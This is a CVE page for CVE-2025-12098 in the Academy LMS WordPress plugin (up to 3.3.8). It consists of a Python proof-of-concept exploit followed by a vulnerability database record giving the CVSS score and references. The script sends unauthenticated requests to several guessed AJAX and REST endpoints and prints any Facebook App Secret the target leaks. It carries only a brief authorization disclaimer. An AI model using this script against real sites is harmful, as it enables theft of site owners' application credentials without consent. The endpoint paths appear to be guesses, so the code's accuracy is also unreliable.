CVE-2025-12098

#!/usr/bin/env python3 """ CVE-2025-12098 PoC - Academy LMS Sensitive Information Exposure Description: Unauthenticated attackers can extract Facebook App Secret via 'enqueue_social_login_script' function """ import requests import json import sys def exploit_cve_2025_12098(target_url): """ Exploit for Academy LMS <= 3.3.8 sensitive information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-12098\n") # Target the vulnerable AJAX endpoint endpoints = [ "/wp-admin/admin-ajax.php?action=enqueue_social_login_script", "/wp-json/academy/v1/social-login-config", "/?rest_route=/academy/v1/social-login-config" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {endpoint}") try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) # Check for sensitive data in response if response.status_code == 200: data = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text # Look for Facebook App Secret or other sensitive info if 'app_secret' in str(data).lower() or 'facebook' in str(data).lower(): print(f"[+] VULNERABLE! Sensitive data found:") print(json.dumps(data, indent=2)) return True else: print(f"[-] No obvious sensitive data in response") print(f" Response preview: {str(data)[:200]}...") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Exploitation completed - target may not be vulnerable") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12098.py <target_url>") print("Example: python cve-2025-12098.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_12098(target) if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability conceptually. # Actual exploitation may require additional reconnaissance and adaptation. # Always obtain proper authorization before testing any system.

{"cve": {"id": "CVE-2025-12098", "sourceIdentifier": "[email protected]", "published": "2025-11-08T09:15:33.767", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.8 via the 'enqueue_social_login_script' function. This makes it possible for unauthenticated attackers to extract sensitive data including the Facebook App Secret if Facebook Social Login is enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://academylms.net/whats-new/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f70ee339-d9d4-43ad-8605-6a5533783718?source=cve", "source": "[email protected]"}]}}